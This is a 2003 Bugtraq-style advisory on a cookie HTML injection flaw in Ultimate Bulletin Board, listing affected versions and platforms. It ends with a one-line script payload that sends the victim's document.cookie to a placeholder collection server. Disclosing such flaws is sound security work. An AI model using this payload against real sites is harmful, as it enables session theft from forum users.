Ultimate Bulletin Board UBBER Cookie HTML Injection Vulnerability

Bugtraq ID:	8212
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 16 2003 12:00AM
Updated:	Jul 16 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to <[email protected]>.
Vulnerable:	Infopop Ultimate Bulletin Board 6.2 .0 Beta Release 1.0 - Apache Apache 1.3.22 - Apache Apache 1.3.20 - Apache Apache 1.3.20 - Apache Apache 1.3.19 - Apache Apache 1.3.19 - Apache Apache 1.3.18 - Apache Apache 1.3.18 - Apache Apache 1.3.17 - Apache Apache 1.3.17 - Microsoft IIS 5.0 - Microsoft IIS 4.0 Infopop Ultimate Bulletin Board 6.2 .0 - Apache Apache 1.3.22 - Apache Apache 1.3.20 - Apache Apache 1.3.20 - Apache Apache 1.3.19 - Apache Apache 1.3.19 - Apache Apache 1.3.18 - Apache Apache 1.3.18 - Apache Apache 1.3.17 - Apache Apache 1.3.17 - Microsoft IIS 5.0 - Microsoft IIS 4.0 Infopop Ultimate Bulletin Board 6.0.4 f Infopop Ultimate Bulletin Board 6.0.3 Infopop Ultimate Bulletin Board 6.0.2 Infopop Ultimate Bulletin Board 6.0.1 Infopop Ultimate Bulletin Board 6.0 Beta - Debian Linux 2.2 - HP HP-UX 11.11 - OpenBSD OpenBSD 2.8 - Redhat Linux 7.0 - Sun Solaris 8_sparc Infopop Ultimate Bulletin Board 6.0 Infopop Ultimate Bulletin Board 5.43 Infopop Ultimate Bulletin Board 5.4.7 e Infopop Ultimate Bulletin Board 5.0 .x Beta - BSDI BSD/OS 4.0.1 - Debian Linux 2.2 - HP HP-UX 11.11 - OpenBSD OpenBSD 2.8 - Redhat Linux 7.0 - SCO eServer 2.3 - Sun Solaris 8_sparc
Not Vulnerable:

Ultimate Bulletin Board UBBER Cookie HTML Injection Vulnerability

The following proof of concept has been supplied:

username&lt;script&gt;document.write('<img src%3D"http://someserver/savereq.php?'%2Bdocument.cookie%2B'" width%3D0height%3D0>')&lt;/script&gt;